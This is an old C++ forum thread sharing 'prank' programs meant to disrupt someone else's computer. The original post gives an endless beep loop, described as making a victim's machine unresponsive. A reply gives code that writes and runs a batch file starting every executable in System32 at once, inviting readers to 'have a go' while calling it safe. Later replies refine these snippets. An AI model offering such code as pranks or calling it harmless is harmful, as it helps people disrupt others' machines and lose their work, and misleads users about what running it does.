944,068 Members | Top Members by Rank

Ad:
  • C++ Code Snippet
  • Views: 2077
  • C++ RSS
0

System Resource Manipulating Script.

by on Jul 14th, 2008
This simple command line script is used to pull a prank on one of your buds. What it does is play an anoyying beeping sound over and over again while rendering the computer being used completely unresponsive. The task manager doesnt even respond. The window never loses focus and nothing can be done but listen to it or turn off the PC.

I was just trying to make a simple alert system when I accidentally crashed my comp. testing the script. TEST AT YOUR OWN WRISK. This is meant as a simple demostration of what such a small script can do.

Just put the code in one .cpp file and it will do its work when run.
C++ Code Snippet (Toggle Plain Text)
  1. #include <iostream>
  2. using namespace std;
  3.  
  4. int main()
  5. {
  6. int i = 1;
  7. while(i == 1)
  8. {
  9. cout << "\a"; // \a = Alert (Beep)
  10. // This just plays a sound while the computer tries to keep up
  11. // with the incoming calls of sounds. The PC will try to keep all
  12. // of the records of input and output, rendering the computer useless.
  13. }
  14. }
Comments on this Code Snippet
Jul 14th, 2008
0

Re: System Resource Manipulating Script.

Heres another

Your computer should be ok with this, have a go

CPP Syntax (Toggle Plain Text)
  1. #include<iostream>
  2. #include<fstream>
  3.  
  4. using namespace std;
  5.  
  6. int main() {
  7. ofstream out("openAll.bat", ios::out);
  8. out << "for %%a in (\"C:\\Windows\\System32\\*.exe\") do start %%a";
  9. out.close();
  10. system("openAll.bat");
  11. return 0;
  12. }
Posting Virtuoso
William Hemsworth is offline Offline
1,542 posts
since Mar 2008
Jul 15th, 2008
0

Re: System Resource Manipulating Script.

I do not think I am going to try your script williamhemsworth. Nice try. lol. Let me guess, that script alters or deletes system files. Anyways, my script is harmless, it just completely disables your computer in a matter of seconds and the only bad outcome is a possible loss of work if the victim was working on something.
Light Poster
killdude69 is offline Offline
45 posts
since Jul 2008
Jul 24th, 2008
0

Re: System Resource Manipulating Script.

Actually, its just opens about every system file this is at once the most your computer will do it shutdown when the "shutdown.exe" file has started, but many hundreds will open before that ^.^ Your computer shouldent be damaged in any way
Posting Virtuoso
William Hemsworth is offline Offline
1,542 posts
since Mar 2008
Jun 1st, 2009
0

Re: System Resource Manipulating Script.

Hi, William, why not just: system("for %%a in (\"C:\\Windows\\System32\\*.exe\") do start %%a"); ?
(no need for fstream )

And killdude: instead of writing: while(i == 1) you could simply have written while(true) , though yours was not wrong
BTW, Your script doesn't render my computer useless
Postaholic
tux4life is offline Offline
2,105 posts
since Feb 2009
Jun 1st, 2009
0

Re: System Resource Manipulating Script.

Why don't you try that code before you think it works
For me, it has to be saved as a batch file first.
Posting Virtuoso
William Hemsworth is offline Offline
1,542 posts
since Mar 2008
Jun 2nd, 2009
0

Re: System Resource Manipulating Script.

Thank you tux4life, for the generic sarcastic giggling smiley.

tux, that would not be my fault. Because I tested it, it froze my computer and the task manager would not even open.
Light Poster
killdude69 is offline Offline
45 posts
since Jul 2008
Message:
Previous Thread in C++ Forum Timeline: Password Guessing + Accessing command + writing to a file
Next Thread in C++ Forum Timeline: Countdown program





About Us | Contact Us | Advertise | Acceptable Use Policy
Forum Index | Build Custom RSS Feed


Follow us on Twitter


© 2011 DaniWeb® LLC